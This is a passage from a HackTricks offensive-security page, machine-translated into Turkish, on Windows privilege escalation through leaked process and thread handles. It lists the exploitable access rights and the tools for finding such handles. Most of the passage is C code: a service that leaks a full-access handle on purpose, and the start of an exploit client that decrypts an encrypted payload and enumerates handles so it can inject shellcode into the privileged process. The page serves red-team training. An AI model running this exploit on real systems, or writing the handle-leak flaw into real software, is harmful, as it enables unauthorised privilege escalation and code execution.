Leaked Handle Exploitation

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introduction

Bir süreçteki handle'lar, farklı Windows kaynaklarına erişim sağlar:

RootedCON2022 - Exploiting Leaked Handles for LPE

Zaten, açık ve miras alınabilir handle'lara sahip bir ayrılmış süreç tarafından çalıştırılan bir ayrılmış süreç ile birkaç yetki yükseltme durumu olmuştur.

Örneğin, SYSTEM olarak çalışan bir süreç yeni bir süreç açtığında (OpenProcess()) tam erişim ile. Aynı süreç düşük ayrıcalıklara sahip yeni bir süreç (CreateProcess()) oluşturduğunda, ana sürecin tüm açık handle'larını miras alır. Sonra, eğer düşük ayrıcalıklı sürece tam erişiminiz varsa, OpenProcess() ile oluşturulan ayrılmış sürece açık handle'ı alabilir ve bir shellcode enjekte edebilirsiniz.

İlginç Handle'lar

Süreç

Başlangıç örneğinde okuduğunuz gibi, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir ayrılmış sürecin handle'ını miras alırsa, üzerinde rastgele kod çalıştırabilir.

bu mükemmel makalede aşağıdaki izinlerden herhangi birine sahip bir süreç handle'ını nasıl istismar edeceğinizi görebilirsiniz:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

Thread

Süreç handle'larına benzer şekilde, eğer bir **düşük ayrıcalıklı süreç, yeterli izinlere sahip bir ayrılmış sürecin thread handle'ını miras alırsa, üzerinde rastgele kod çalıştırabilir.

bu mükemmel makalede aşağıdaki izinlerden herhangi birine sahip bir süreç handle'ını nasıl istismar edeceğinizi de görebilirsiniz:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

Dosya, Anahtar & Bölüm Handle'ları

Eğer bir **düşük ayrıcalıklı süreç, bir handle'ı yazma eşdeğer izinleri ile bir ayrılmış dosya veya kayıt defteri üzerinde miras alırsa, dosya/kayıt defterini üstüne yazabilir (ve çok fazla şansla, yetki yükseltebilir).

Bölüm Handle'ları, dosya handle'larına benzer, bu tür nesnelerin yaygın adı "Dosya Haritalama"dır. Büyük dosyalarla, dosyanın tamamını bellekte tutmadan çalışmak için kullanılır. Bu, istismar sürecini bir Dosya Handle'ının istismarına "benzer" hale getirir.

Süreçlerin handle'larını nasıl görebiliriz

Process Hacker

Process Hacker ücretsiz olarak indirebileceğiniz bir araçtır. Süreçleri incelemek için birkaç harika seçeneği vardır ve bunlardan biri her sürecin handle'larını görme yeteneğidir.

Tüm süreçlerin tüm handle'larını görebilmek için SeDebugPrivilege gereklidir (bu nedenle Process Hacker'ı yönetici olarak çalıştırmalısınız).

Bir sürecin handle'larını görmek için, süreç üzerine sağ tıklayın ve Handle'ları seçin:

Sonra handle üzerine sağ tıklayarak izinleri kontrol edebilirsiniz:

Sysinternals Handle'ları

Sysinternals'tan Handles ikili dosyası, konsolda süreç başına handle'ları da listeleyecektir:

LeakedHandlesFinder

Bu araç size sızan handle'ları izleme ve hatta yetki yükseltmek için otomatik istismar etme imkanı sunar.

Metodoloji

Artık süreçlerin handle'larını nasıl bulacağınızı bildiğinize göre, kontrol etmeniz gereken şey, herhangi bir düşük ayrıcalıklı sürecin ayrıcalıklı handle'lara erişimi olup olmadığıdır. Bu durumda, sürecin kullanıcısı handle'ı elde edebilir ve yetki yükseltmek için kötüye kullanabilir.

Tüm handle'lara erişmek için SeDebugPrivilege gerektiği daha önce belirtilmiştir. Ancak bir kullanıcı, kendi süreçlerinin handle'larına erişebilir, bu nedenle sadece o kullanıcıdan yetki yükseltmek istiyorsanız, araçları kullanıcının normal izinleriyle çalıştırmak faydalı olabilir.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Vulnerable Example

Örneğin, aşağıdaki kod Windows servisine aittir ve bu servis savunmasızdır. Bu servisin ikili dosyasındaki savunmasız kod Exploit fonksiyonu içindedir. Bu fonksiyon tam erişime sahip yeni bir işlem tanıtıcısı oluşturmaya başlar. Ardından, C:\users\username\desktop\client.exe dosyasını çalıştırarak düşük ayrıcalıklı bir işlem oluşturur (düşük ayrıcalıklı explorer.exe belirtecini kopyalayarak). Savunmasızlık, düşük ayrıcalıklı işlemi bInheritHandles değerini TRUE olarak ayarlayarak oluşturmasından kaynaklanmaktadır.

Bu nedenle, bu düşük ayrıcalıklı işlem, ilk olarak oluşturulan yüksek ayrıcalıklı işlemin tanıtıcısını alabilir ve bir shellcode enjekte edip çalıştırabilir (bkz. sonraki bölüm).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Exploit Örneği 1

Gerçek bir senaryoda muhtemelen çalıştırılacak ikiliyi kontrol edemeyeceksiniz (bu durumda C:\users\username\desktop\client.exe). Muhtemelen bir süreci tehlikeye atacaksınız ve ayrıcalıklı bir sürecin herhangi bir savunmasız handle'ına erişip erişemeyeceğinizi kontrol etmeniz gerekecek.

Bu örnekte C:\users\username\desktop\client.exe için olası bir exploit kodunu bulabilirsiniz. Bu kodun en ilginç kısmı GetVulnProcHandle içinde yer almaktadır. Bu fonksiyon tüm handle'ları almaya başlayacak, ardından bunlardan herhangi birinin aynı PID'ye ait olup olmadığını kontrol edecek ve eğer handle bir süreçe aitse. Tüm bu gereksinimler yerine getirildiğinde (erişilebilir bir açık süreç handle'ı bulunduğunda), sürecin handle'ını kötüye kullanarak bir shellcode enjekte etmeye ve çalıştırmaya çalışır. Shellcode'un enjekte edilmesi Inject fonksiyonu içinde yapılır ve sadece shellcode'u ayrıcalıklı süreç içinde yazar ve aynı süreç içinde bir thread oluşturur shellcode'u çalıştırmak için.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}